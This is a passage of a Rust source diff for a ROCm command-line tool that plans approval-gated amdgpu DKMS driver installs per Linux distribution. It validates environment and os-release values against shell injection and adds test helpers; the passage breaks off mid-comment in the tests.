-pub(crate) fn is_safe_shell_token(v: &str) -> bool { +fn is_safe_shell_token(v: &str) -> bool { !v.is_empty() && v.chars() .all(|c| c.is_ascii_alphanumeric() || "._-".contains(c)) @@ -144,7 +147,7 @@ pub(crate) fn is_safe_shell_token(v: &str) -> bool { /// not. Listing that precondition when already root would state a requirement /// the plan is not relying on — which is exactly the contradiction that made /// the unconditional prefix confusing to debug. -pub(crate) fn driver_root_preflight_checks(escalation: PrivilegeEscalation) -> Vec { +fn driver_root_preflight_checks(escalation: PrivilegeEscalation) -> Vec { let mut checks = vec!["root access: run as root, or ensure `sudo -v` succeeds before approval".to_owned()]; if escalation.needs_sudo_binary() { @@ -174,7 +177,7 @@ pub(crate) fn driver_command(phase: DriverCommandPhase, command: &str) -> Driver /// `${A:-${B:-x}}` whose default itself contains `${` — is returned unchanged, so /// an unresolvable shape degrades to its literal input rather than to a /// half-resolved string. -pub(crate) fn resolve_shell_default_template(expr: &str) -> String { +fn resolve_shell_default_template(expr: &str) -> String { let Some(inner) = expr.strip_prefix("${").and_then(|s| s.strip_suffix('}')) else { return expr.to_owned(); }; @@ -302,8 +305,860 @@ const fn driver_plan_approval_label( } } +/// Whether `rocm install driver` only reports on this OS. True on native +/// Windows, where the plan is `windows_validate_only` and runs nothing; the +/// chat and freeform planners derive their wording and flags from this too. +pub(crate) fn install_driver_only_reports_on(os: &str) -> bool { + os == "windows" +} + +/// [`install_driver_only_reports_on`] for the OS this binary runs on. +pub(crate) fn host_install_driver_only_reports() -> bool { + install_driver_only_reports_on(std::env::consts::OS) +} + +/// The plan for a release file that cannot be read as a distro at all — a +/// malformed line ([`build_driver_install_plan_at`]'s own early return) or a +/// file that exists but could not be read +/// ([`build_driver_install_plan_read`]'s `Unreadable` branch). Both name +/// `reason`, never a distro, and differ only in it: shared here, including +/// `repo_version_expr`, so a new early branch added to one is not silently +/// absent from the other. +fn unreadable_os_release_plan(reason: String, repo_version_expr: String) -> DriverInstallPlan { + DriverInstallPlan { + supported: false, + mutating: false, + policy: "unreadable_os_release".to_owned(), + os_id: String::new(), + version_id: String::new(), + codename: String::new(), + repo_version_expr, + reason, + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned()], + reboot_required: false, + } +} + +const RETIRED_DRIVER_VERSION_VARS: [&str; 2] = + ["ROCM_CLI_AMDGPU_VERSION", "ROCM_CLI_AMDGPU_PACKAGE_RELEASE"]; + +/// The refusal plan `resolve_repo_version_expr` returns for any +/// `ROCM_CLI_AMDGPU_DRIVER_VERSION` value that cannot be safely interpolated +/// into a shell command -- whether it failed [`is_safe_shell_token`] or could +/// not even be decoded as UTF-8. +pub(crate) fn invalid_driver_version_override_plan(value_debug: String) -> DriverInstallPlan { + DriverInstallPlan { + supported: false, + mutating: false, + policy: "invalid_driver_version_override".to_owned(), + os_id: String::new(), + version_id: String::new(), + codename: String::new(), + repo_version_expr: value_debug, + reason: "ROCM_CLI_AMDGPU_DRIVER_VERSION is not a well-formed amdgpu driver release. It is interpolated into privileged shell commands, so only letters, digits, and `. _ -` are accepted.".to_owned(), + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned()], + reboot_required: false, + } +} + +/// Resolves and validates `ROCM_CLI_AMDGPU_DRIVER_VERSION`, shared between +/// [`build_driver_install_plan_at`] (reached whenever the os-release text +/// itself was readable) and [`build_driver_install_plan_read`]'s `Unreadable` +/// branch (reached before `_at` is even called), so both report the same +/// `invalid_driver_version_override` plan on a malformed override rather than +/// one of them silently falling back to `latest`. +fn resolve_repo_version_expr() -> Result> { + // The pre-`latest` pin variables are no longer read; refuse rather than + // install a floating `latest` for a user who still exports one. + for retired in RETIRED_DRIVER_VERSION_VARS { + if std::env::var_os(retired).is_some_and(|v| !v.is_empty()) { + let mut plan = invalid_driver_version_override_plan(format!("{retired} is set")); + plan.policy = "retired_driver_version_override".to_owned(); + plan.reason = format!( + "{retired} is no longer read; unset it, and set ROCM_CLI_AMDGPU_DRIVER_VERSION to pin an amdgpu driver release." + ); + return Err(Box::new(plan)); + } + } + // Resolved here rather than left as a shell `${VAR:-default}` expression: + // these commands are built with `printf '%s\n' '...'` (single-quoted) so the + // written repo file has a working baseurl regardless of shell. The value is + // interpolated straight into that single-quoted command, so it's restricted + // to a safe URL path segment here rather than trusted verbatim: a value + // containing `'` would otherwise close the quoting and inject shell. An + // invalid override is refused rather than silently falling back to + // `latest`, the same way `wsl_rocdxg_driver_plan` refuses a malformed + // `ROCM_CLI_ROCDXG_VERSION` -- a user who set this expecting a specific + // release should see why it did not take effect, not an unexplained + // `latest`. + match std::env::var("ROCM_CLI_AMDGPU_DRIVER_VERSION") { + // Set-but-empty is treated the same as unset, matching every other + // optional override of the driver plan (`resolve_rocdxg_verification`, + // `resolve_shell_default_template`): a blank env var is how an env + // file clears an override, not a request to refuse the plan. + Err(std::env::VarError::NotPresent) => Ok("latest".to_owned()), + Ok(v) if v.is_empty() => Ok("latest".to_owned()), + Ok(v) if is_safe_shell_token(&v) => Ok(v), + Ok(v) => Err(Box::new(invalid_driver_version_override_plan(format!( + "{v:?}" + )))), + // A non-UTF-8 value can never pass `is_safe_shell_token` anyway, but + // routing it through the same refusal as a malformed value (instead + // of folding it into the NotPresent/empty "unset" case) keeps the + // same "refuse, don't silently fall back to latest" guarantee for a + // user who set this to something `env::var` cannot even decode. + Err(std::env::VarError::NotUnicode(v)) => { + // Debug, not `v.display()`, is deliberate here: this is the one + // value worth escaping rather than rendering lossily, since the + // whole reason it reached this arm is that it isn't valid UTF-8. + #[allow(clippy::unnecessary_debug_formatting)] + let value_debug = format!("{v:?}"); + Err(Box::new(invalid_driver_version_override_plan(value_debug))) + } + } +} + +/// [`build_driver_install_plan_read`], naming `os_release_path` instead of always +/// `/etc/os-release` in an unreadable-line message. +fn build_driver_install_plan_at( + examine: &ExamineSummary, + os_release_path: &str, + os_release_text: &str, + dkms: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + if install_driver_only_reports_on(&examine.os) { + return DriverInstallPlan { + supported: false, + mutating: false, + policy: "windows_validate_only".to_owned(), + os_id: "windows".to_owned(), + version_id: String::new(), + codename: String::new(), + // Not interpolated into any command on this no-op plan (there are + // none), so an override is not validated before this early return. + // Always "latest" even if `ROCM_CLI_AMDGPU_DRIVER_VERSION` names + // something else or is malformed: unlike the Linux arms below, + // this value has not gone through `resolve_repo_version_expr()`, + // so do not read the printed `repo_version:` line here (or in + // `--dry-run` output) as confirmation that an override was seen or + // accepted. + repo_version_expr: "latest".to_owned(), + // Uses the same inventory and adapter choice as `rocm examine` + // and `rocm diagnose`. Separate probes can still fail independently. + reason: rocm_core::windows_driver::install_driver_summary( + examine.driver.windows.as_ref(), + ), + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], + // The plan installs nothing, so nothing asks for a reboot. + reboot_required: false, + }; + } + if examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl) { + return wsl_rocdxg_driver_plan(escalation); + } + + let repo_version_expr = match resolve_repo_version_expr() { + Ok(v) => v, + Err(plan) => return *plan, + }; + + // An unreadable file is reported as itself, naming the line, rather than + // falling through to "this distro is not supported" — which would send the + // user looking for a support matrix when the fix is one line of a file. + let os_release = match rocm_core::os_release::parse(os_release_text) { + Ok(fields) => fields, + Err(unreadable) => { + return unreadable_os_release_plan( + format!( + "{os_release_path} {unreadable}; no driver commands were planned \ + because the distro cannot be read. To fix it, {}.", + unreadable.fix() + ), + repo_version_expr, + ); + } + }; + + let field = |key: &str| os_release.get(key).cloned(); + // Not interpolated into any shell command today (only matched against and + // stored on the plan), but it goes through the same allow-list as + // `version_id`/`codename`/the env override anyway: centralizing the + // sanitization here means a future `os_id`-based repo path can't + // reintroduce the shell-injection class those fields close. An invalid + // value is treated as absent, falling through to the "unsupported" plan + // the same way the other fields do. + // Lowercased, as `rocm-core`'s `dkms_driver_plan_is_supported` does, so the + // two copies of the support matrix agree on `ID=Ubuntu`. + let os_id = field("ID") + .filter(|v| is_safe_shell_token(v)) + .unwrap_or_default() + .to_ascii_lowercase(); + // `version_id` is interpolated unsanitized both into the same + // single-quoted `printf '...' | tee` commands as `repo_version_expr` + // above and, on SLES, directly unquoted on the SUSEConnect command line -- + // so it gets the same char allow-list as that override. A value that + // fails it is treated as absent (empty), which cannot match any + // `(os_id, version_id)` arm below and falls through to the safe, + // non-mutating "unsupported" plan, the same way a hostile codename falls + // through to the static mapping rather than being used verbatim. + let version_id = field("VERSION_ID") + .filter(|v| is_safe_shell_token(v)) + .unwrap_or_default(); + // `codename` is interpolated unsanitized into the same single-quoted + // `printf '...' | tee` command as `repo_version_expr` above, so an + // os-release-sourced value gets the same char allow-list: a crafted + // VERSION_CODENAME/UBUNTU_CODENAME (compromised or custom base image) + // could otherwise break out of the quoting and inject shell. An invalid + // value is treated as absent, falling through to the trusted static + // `codename_for_version` mapping rather than being used verbatim. + let codename = field("VERSION_CODENAME") + .or_else(|| field("UBUNTU_CODENAME")) + .filter(|v| is_safe_shell_token(v)) + .or_else(|| codename_for_version(&os_id, &version_id).map(str::to_owned)) + .unwrap_or_default(); + let id_like = field("ID_LIKE").unwrap_or_default(); + + match (os_id.as_str(), version_id.as_str()) { + ("ubuntu", "22.04" | "24.04" | "26.04") => apt_driver_plan( + os_id, + version_id, + codename, + repo_version_expr, + dkms, + true, + escalation, + ), + ("debian", "12" | "13") => { + let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; + let mut plan = apt_driver_plan( + os_id, + version_id, + repo_codename.to_owned(), + repo_version_expr, + dkms, + false, + escalation, + ); + // Debian deliberately reuses AMD's Ubuntu-suite repository: AMD's + // documented Debian install maps Debian 12 -> jammy and 13 -> noble + // and serves them from the .../ubuntu amdgpu tree. Surface that in + // the plan so the Ubuntu codename on a Debian host doesn't read as a + // misdetection. + plan.reason = format!( + "Debian intentionally uses AMD's Ubuntu-suite repository (codename {repo_codename}), per AMD's documented Debian install; the Ubuntu codename is deliberate, not a misdetection. {}", + plan.reason + ); + plan + } + ("rhel", "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") => dnf_driver_plan( + os_id, + version_id, + codename, + repo_version_expr, + dkms, + DnfDriverDistro::Rhel, + escalation, + ), + ("ol", "10.1" | "9.7" | "8.10") => dnf_driver_plan( + os_id, + version_id, + codename, + repo_version_expr, + dkms, + DnfDriverDistro::Oracle, + escalation, + ), + ("rocky", "9.4" | "9.6" | "9.7") => dnf_driver_plan( + os_id, + version_id, + codename, + repo_version_expr, + dkms, + DnfDriverDistro::Rocky, + escalation, + ), + ("sles" | "sle", "15.7") => { + sles_driver_plan(os_id, version_id, codename, repo_version_expr, dkms, escalation) + } + _ => driver_plan_via_id_like( + &os_id, + &version_id, + &id_like, + &codename, + &repo_version_expr, + dkms, + escalation, + ) + .unwrap_or_else(|| DriverInstallPlan { + supported: false, + mutating: false, + policy: "unsupported_linux_dkms_plan".to_owned(), + os_id, + version_id, + codename, + repo_version_expr, + reason: "Linux DKMS driver install is currently planned only for AMD-documented Ubuntu, Debian, RHEL, Oracle Linux, SLES, and Rocky versions; no commands were guessed for this distro.".to_owned(), + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned()], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + }), + } +} + +/// [`build_driver_install_plan_at`] for `read`, naming the file actually read +/// in an unreadable-line message, and reporting a file that exists but could +/// not be read as itself rather than as an unknown distribution. +/// +/// Without the latter, a host whose `/etc/os-release` is merely unreadable +/// (permission denied, a directory in its place) would plan nothing and say +/// "no commands were guessed for this distro" — the same message an actually +/// unsupported distribution gets — sending the user looking for a support +/// gap instead of a filesystem problem. The Windows and WSL branches never +/// reach the os-release parse at all, so they are unaffected either way and +/// are left to the normal call below. +pub(crate) fn build_driver_install_plan_read( + examine: &ExamineSummary, + read: &rocm_core::hardware_root::OsRelease, + dkms: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + let reaches_os_release_parse = + examine.os != "windows" && !examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl); + if reaches_os_release_parse + && let rocm_core::hardware_root::OsRelease::Unreadable { path, error } = read + { + let repo_version_expr = match resolve_repo_version_expr() { + Ok(v) => v, + Err(plan) => return *plan, + }; + return unreadable_os_release_plan( + format!( + "{}; no driver commands were planned because the distro cannot be read.", + rocm_core::hardware_root::unreadable_prefix(path, error) + ), + repo_version_expr, + ); + } + build_driver_install_plan_at(examine, read.path(), read.text(), dkms, escalation) +} + +/// Select a driver install plan for a distro whose `/etc/os-release` `ID` is not +/// an AMD-documented distro, by falling back to its `ID_LIKE` base family. +/// +/// This mirrors the family resolution already used by the OpenMPI and system +/// dependency install plans in [`rocm_core::openmpi`], which honor `ID_LIKE`. A +/// derivative is matched only when its `VERSION_ID` aligns with an AMD-documented +/// version of the base family, so version-misaligned derivatives still fall +/// through to the unsupported plan rather than fabricating a repository URL that +/// would 404. +// Every parameter is one already-resolved fact the plan is templated from; +// bundling them into a struct would only move the same list one level out. +#[allow(clippy::too_many_arguments)] +fn driver_plan_via_id_like( + os_id: &str, + version_id: &str, + id_like: &str, + codename: &str, + repo_version_expr: &str, + dkms: bool, + escalation: PrivilegeEscalation, +) -> Option { + let likes: Vec = id_like + .split_whitespace() + .map(str::to_ascii_lowercase) + .collect(); + let mentions = |family: &str| likes.iter().any(|like| like == family); + + // Ubuntu-family derivatives that reuse Ubuntu's VERSION_ID (e.g. Pop!_OS) + // also reuse its repositories; the amdgpu apt line always targets the + // `ubuntu/` repo, so the plan is identical to the Ubuntu base. + // Derivatives with their own version scheme (e.g. Linux Mint's "22") do not + // match here and remain unsupported rather than guessing a codename. + if mentions("ubuntu") && matches!(version_id, "22.04" | "24.04" | "26.04") { + let codename = if codename.is_empty() { + codename_for_version("ubuntu", version_id) + .unwrap_or_default() + .to_owned() + } else { + codename.to_owned() + }; + return Some(apt_driver_plan( + os_id.to_owned(), + version_id.to_owned(), + codename, + repo_version_expr.to_owned(), + dkms, + true, + escalation, + )); + } + + // Debian-family derivatives that share Debian's version scheme map to the + // matching Ubuntu repo codename, exactly like the Debian base. + if mentions("debian") && matches!(version_id, "12" | "13") { + let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; + return Some(apt_driver_plan( + os_id.to_owned(), + version_id.to_owned(), + repo_codename.to_owned(), + repo_version_expr.to_owned(), + dkms, + false, + escalation, + )); + } + + // Enterprise-Linux rebuilds (e.g. AlmaLinux) reuse RHEL's version scheme and + // standard (RHCK, non-UEK) kernels, but are served from the vendor-neutral + // `el/` repository path rather than `rhel/`. Gate strictly on `ID_LIKE` + // naming `rhel`: Oracle Linux advertises only `ID_LIKE=fedora` and boots the + // UEK kernel, so it must keep its dedicated `("ol", ...)` flow and never be + // captured here with RHCK kernel commands that would fail to install. Guard + // the `ol`/`oracle` IDs explicitly as well, in case a future OL release adds + // `rhel` to `ID_LIKE`. + if mentions("rhel") && !matches!(os_id, "ol" | "oracle") && is_supported_el_version(version_id) + { + return Some(dnf_driver_plan( + os_id.to_owned(), + version_id.to_owned(), + codename.to_owned(), + repo_version_expr.to_owned(), + dkms, + DnfDriverDistro::Generic, + escalation, + )); + } + + // No SUSE-family fallback: SLES is matched exactly, and community rebuilds + // such as openSUSE Leap share the SLES version scheme but lack SUSEConnect + // entitlements, so the SLES plan's `SUSEConnect` commands would fail. They + // intentionally remain unsupported rather than producing a broken plan. + + None +} + +/// The set of Enterprise-Linux versions AMD documents for the driver install, +/// used to gate `ID_LIKE`-based matching of RHEL rebuilds. +fn is_supported_el_version(version_id: &str) -> bool { + matches!(version_id, "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") +} + +#[derive(Debug, Clone, Copy)] +enum DnfDriverDistro { + Rhel, + Oracle, + Rocky, + /// A RHEL rebuild matched via `ID_LIKE` (e.g. AlmaLinux, CentOS Stream): + /// standard RHEL kernels, served from the vendor-neutral `el/` repo path. + Generic, +} + +fn apt_driver_plan( + os_id: String, + version_id: String, + codename: String, + repo_version_expr: String, + dkms: bool, + include_linux_modules_extra: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Empty when already root, so no command depends on a `sudo` binary that a + // container or minimal image very likely does not have. + let sudo = escalation.prefix(); + let mut commands = Vec::new(); + if dkms { + // AMD's page says to remove an AMDGPU driver from a previous + // installation first. Removal is destructive, so the plan only + // detects and warns; the user decides. + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!( + "if dpkg-query -W -f='${{Status}}' amdgpu-dkms 2>/dev/null | grep -q 'install ok installed'; then echo 'warning: amdgpu-dkms from a previous installation is installed and was not removed. AMD advises removing it first (`{sudo}apt-get autoremove -y amdgpu-dkms`); continuing anyway. If the install fails, remove it and re-run.'; fi" + ), + )); + commands.extend([ + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get update"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get install -y ca-certificates curl gnupg"), + ), + ]); + let header_command = if include_linux_modules_extra { + format!( + "{sudo}apt-get install -y \"linux-headers-$(uname -r)\" \"linux-modules-extra-$(uname -r)\"" + ) + } else { + format!("{sudo}apt-get install -y \"linux-headers-$(uname -r)\"") + }; + commands.push(driver_command(DriverCommandPhase::Prepare, &header_command)); + commands.extend([ + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}install -m 0755 -d /etc/apt/keyrings"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "curl -fsSL https://repo.radeon.com/rocm/rocm.gpg.key | {sudo}gpg --batch --yes --dearmor -o /etc/apt/keyrings/rocm.gpg" + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' 'deb [arch=amd64 signed-by=/etc/apt/keyrings/rocm.gpg] https://repo.radeon.com/amdgpu/{repo_version_expr}/ubuntu {codename} main' | {sudo}tee /etc/apt/sources.list.d/amdgpu.list >/dev/null" + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' 'Package: *' 'Pin: release o=repo.radeon.com' 'Pin-Priority: 600' | {sudo}tee /etc/apt/preferences.d/rocm-pin-600 >/dev/null" + ), + ), + driver_command(DriverCommandPhase::Prepare, &format!("{sudo}apt-get update")), + ]); + commands.push(driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}apt-get install -y amdgpu-dkms"), + )); + commands.extend([ + driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), + driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), + driver_command( + DriverCommandPhase::Verify, + "ls /dev/dri/renderD* >/dev/null", + ), + ]); + } + + DriverInstallPlan { + supported: true, + mutating: dkms, + policy: "linux_official_amd_dkms_wrapper".to_owned(), + os_id, + version_id, + codename, + repo_version_expr, + reason: if dkms { + "Plan uses AMD's package-manager DKMS flow and requires explicit approval before execution. If amdgpu-dkms from a previous installation is present, the first command only warns; the install continues and nothing is removed automatically." + } else { + "DKMS was not requested; this is a non-mutating preflight plan." + } + .to_owned(), + preflight_checks: if dkms { + let mut checks = driver_root_preflight_checks(escalation); + checks.push("`apt-get` package manager is available".to_owned()); + checks + } else { + Vec::new() + }, + commands, + checks: vec![ + "dkms status amdgpu".to_owned(), + "/sys/module/amdgpu".to_owned(), + "/dev/kfd".to_owned(), + "/dev/dri/renderD*".to_owned(), + "amd-smi version if present".to_owned(), + "rocminfo if present".to_owned(), + ], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + } +} + +// Same shape as the other distro plan builders: a flat list of resolved facts +// the command templates read, one of which is now the escalation prefix. +#[allow(clippy::too_many_arguments)] +fn dnf_driver_plan( + os_id: String, + version_id: String, + codename: String, + repo_version_expr: String, + dkms: bool, + distro: DnfDriverDistro, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Empty when already root, so no command depends on a `sudo` binary that a + // container or minimal image very likely does not have. + let sudo = escalation.prefix(); + let mut commands = Vec::new(); + if dkms { + match distro { + DnfDriverDistro::Rhel | DnfDriverDistro::Generic => { + commands.extend( + rhel_kernel_prepare_commands(&version_id, escalation) + .into_iter() + .map(|command| driver_command(DriverCommandPhase::Prepare, &command)), + ); + } + DnfDriverDistro::Oracle => { + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}dnf install -y \"kernel-uek-devel-$(uname -r)\""), + )); + } + DnfDriverDistro::Rocky => { + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!( + "{sudo}dnf install -y kernel-headers kernel-devel kernel-devel-matched" + ), + )); + } + } + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}rpm --import https://repo.radeon.com/rocm/rocm.gpg.key"), + )); + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'priority=50' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | {sudo}tee /etc/yum.repos.d/amdgpu.repo >/dev/null", + dnf_repo_baseurl(&repo_version_expr, &version_id, distro) + ), + )); + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}dnf clean all"), + )); + commands.push(driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}dnf install -y amdgpu-dkms"), + )); + commands.extend([ + driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), + driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), + driver_command( + DriverCommandPhase::Verify, + "ls /dev/dri/renderD* >/dev/null", + ), + ]); + } + + DriverInstallPlan { + supported: true, + mutating: dkms, + policy: "linux_official_amd_dkms_wrapper".to_owned(), + os_id, + version_id, + codename, + repo_version_expr, + reason: if dkms { + "Plan uses AMD's documented DNF DKMS flow and requires explicit approval before execution." + } else { + "DKMS was not requested; this is a non-mutating preflight plan." + } + .to_owned(), + preflight_checks: if dkms { + let mut checks = driver_root_preflight_checks(escalation); + checks.push("`dnf` package manager is available".to_owned()); + checks.push( + "enterprise Linux repositories are registered and current before approval" + .to_owned(), + ); + checks + } else { + Vec::new() + }, + commands, + checks: vec![ + "dkms status amdgpu".to_owned(), + "/sys/module/amdgpu".to_owned(), + "/dev/kfd".to_owned(), + "/dev/dri/renderD*".to_owned(), + "amd-smi version if present".to_owned(), + "rocminfo if present".to_owned(), + ], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + } +} + +fn sles_driver_plan( + os_id: String, + version_id: String, + codename: String, + repo_version_expr: String, + dkms: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Empty when already root, so no command depends on a `sudo` binary that a + // container or minimal image very likely does not have. + let sudo = escalation.prefix(); + let mut commands = Vec::new(); + if dkms { + commands.extend([ + driver_command( + DriverCommandPhase::Prepare, + &format!( + "{sudo}SUSEConnect -p sle-module-desktop-applications/{version_id}/x86_64" + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}SUSEConnect -p sle-module-development-tools/{version_id}/x86_64"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}SUSEConnect -p PackageHub/{version_id}/x86_64"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}zypper --non-interactive refresh"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}zypper --non-interactive install -y kernel-default-devel"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}rpm --import https://repo.radeon.com/rocm/rocm.gpg.key"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'autorefresh=0' 'type=rpm-md' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | {sudo}tee /etc/zypp/repos.d/amdgpu.repo >/dev/null", + sles_repo_baseurl(&repo_version_expr, &version_id) + ), + ), + driver_command( + DriverCommandPhase::Prepare, + // `--gpg-auto-import-keys` is required here: `rpm --import` above + // only seeds the RPM keyring, but zypper tracks trusted + // *repository* signing keys separately and otherwise prompts to + // trust/reject the new repo's key on this refresh -- a prompt + // that would hang this unattended flow (no stdin attached). + &format!("{sudo}zypper --non-interactive --gpg-auto-import-keys refresh"), + ), + driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}zypper --non-interactive install -y amdgpu-dkms"), + ), + driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), + driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), + driver_command( + DriverCommandPhase::Verify, + "ls /dev/dri/renderD* >/dev/null", + ), + ]); + } + + DriverInstallPlan { + supported: true, + mutating: dkms, + policy: "linux_official_amd_dkms_wrapper".to_owned(), + os_id, + version_id, + codename, + repo_version_expr, + reason: if dkms { + "Plan uses AMD's documented SLES DKMS flow and requires explicit approval before execution." + } else { + "DKMS was not requested; this is a non-mutating preflight plan." + } + .to_owned(), + preflight_checks: if dkms { + let mut checks = driver_root_preflight_checks(escalation); + checks.push("`zypper` package manager is available".to_owned()); + checks.push( + "`SUSEConnect` is available and the host is registered before approval".to_owned(), + ); + checks + } else { + Vec::new() + }, + commands, + checks: vec![ + "dkms status amdgpu".to_owned(), + "/sys/module/amdgpu".to_owned(), + "/dev/kfd".to_owned(), + "/dev/dri/renderD*".to_owned(), + "amd-smi version if present".to_owned(), + "rocminfo if present".to_owned(), + ], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + } +} + +fn rhel_kernel_prepare_commands(version_id: &str, escalation: PrivilegeEscalation) -> Vec { + let sudo = escalation.prefix(); + if version_id.starts_with("8.") { + vec![ + format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), + format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), + ] + } else { + vec![ + format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), + format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), + format!("{sudo}dnf install -y \"kernel-devel-matched-$(uname -r)\""), + ] + } +} + +fn dnf_repo_baseurl(repo_version_expr: &str, version_id: &str, distro: DnfDriverDistro) -> String { + let repo_family = match distro { + DnfDriverDistro::Rhel => "rhel", + DnfDriverDistro::Oracle | DnfDriverDistro::Rocky | DnfDriverDistro::Generic => "el", + }; + let repo_version = dnf_repo_version_path(version_id); + format!( + "https://repo.radeon.com/amdgpu/{repo_version_expr}/{repo_family}/{repo_version}/main/x86_64" + ) +} + +fn sles_repo_baseurl(repo_version_expr: &str, version_id: &str) -> String { + format!("https://repo.radeon.com/amdgpu/{repo_version_expr}/sle/{version_id}/main/x86_64") +} + +fn dnf_repo_version_path(version_id: &str) -> String { + // AMD serves EL 8 and 10 from a major-version path (el8/, el10/, rhel/10/), + // but EL 9 from the point-release path (el/9.7/, rhel/9.6/). Keying on the + // major version keeps this correct for RHEL, Oracle Linux, and ID_LIKE-matched + // rebuilds alike, without depending on the specific distro `ID`. + let major = linux_major_version(version_id); + match major { + "8" | "10" => major.to_owned(), + _ => version_id.to_owned(), + } +} + +fn linux_major_version(version_id: &str) -> &str { + version_id.split('.').next().unwrap_or(version_id) +} + +fn codename_for_version(os_id: &str, version_id: &str) -> Option<&'static str> { + match (os_id, version_id) { + ("ubuntu", "22.04") => Some("jammy"), + ("ubuntu", "24.04") => Some("noble"), + ("ubuntu", "26.04") => Some("resolute"), + ("debian", "12") => Some("jammy"), + ("debian", "13") => Some("noble"), + _ => None, + } +} + #[cfg(test)] -mod tests { +pub(crate) mod tests { + #[cfg(unix)] + use std::fs; + use std::path::PathBuf; + #[cfg(unix)] + use std::process::Command as ProcessCommand; + + use super::rocdxg::scoped_rocdxg_env; use super::*; use crate::tests::ScopedTestEnv; @@ -385,4 +1240,2045 @@ mod tests { assert!(!is_safe_shell_token("6.2.1/../x")); assert!(is_safe_shell_token("6.2.1")); } + + pub(crate) fn test_examine(os: &str, wsl: bool) -> ExamineSummary { + ExamineSummary { + os: os.to_owned(), + arch: "x86_64".to_owned(), + kernel: Some("6.8.0-test".to_owned()), + distro: Some("test distro".to_owned()), + cpu: Some("AMD Ryzen".to_owned()), + system_ram_gib: Some(64.0), + interactive_terminal: false, + default_engine: "vllm".to_owned(), + detected_gfx_target: Some("gfx1201".to_owned()), + compatible_therock_family: Some("gfx120X-all".to_owned()), + detected_therock_family: None, + driver: rocm_core::DriverSummary { + policy: "linux_official_amd_dkms_wrapper".to_owned(), + status: "amdgpu_missing".to_owned(), + detail: Some("/dev/kfd missing".to_owned()), + windows: None, + }, + legacy_rocm: rocm_core::LegacyRocmSummary { + status: "not_detected".to_owned(), + paths: Vec::new(), + detail: None, + version: None, + }, + wsl: wsl.then_some(rocm_core::WslSummary { + is_wsl: true, + dxg_device: true, + dxcore: true, + librocdxg: false, + rocdxg_dids: false, + ldconfig_librocdxg: false, + rocminfo: false, + cargo: false, + detail: Some("missing librocdxg".to_owned()), + }), + managed_runtime_count: 0, + managed_service_count: 0, + model_cache_entries: 0, + config_dir: PathBuf::from("/tmp/config"), + data_dir: PathBuf::from("/tmp/data"), + cache_dir: PathBuf::from("/tmp/cache"), + } + } + + /// `text` as if read from `/etc/os-release`, for tests that only care + /// about the content and not the path — `rocm_core::hardware_root::OsRelease::found` + /// is `pub(crate)` inside `rocm-core`, so it isn't visible from this crate's + /// tests; this is the `apps/rocm`-side equivalent, used in place of + /// repeating the `OsRelease::Found { .. }` literal at every call site. + pub(crate) fn os_release_found(text: &str) -> rocm_core::hardware_root::OsRelease { + rocm_core::hardware_root::OsRelease::Found { + path: "/etc/os-release", + text: text.to_owned(), + } + } + + /// Every distro whose plan actually emits privileged commands, so the + /// escalation tests below sweep all of them rather than whichever one was + /// remembered. Adding a distro to the planner without adding it here would + /// 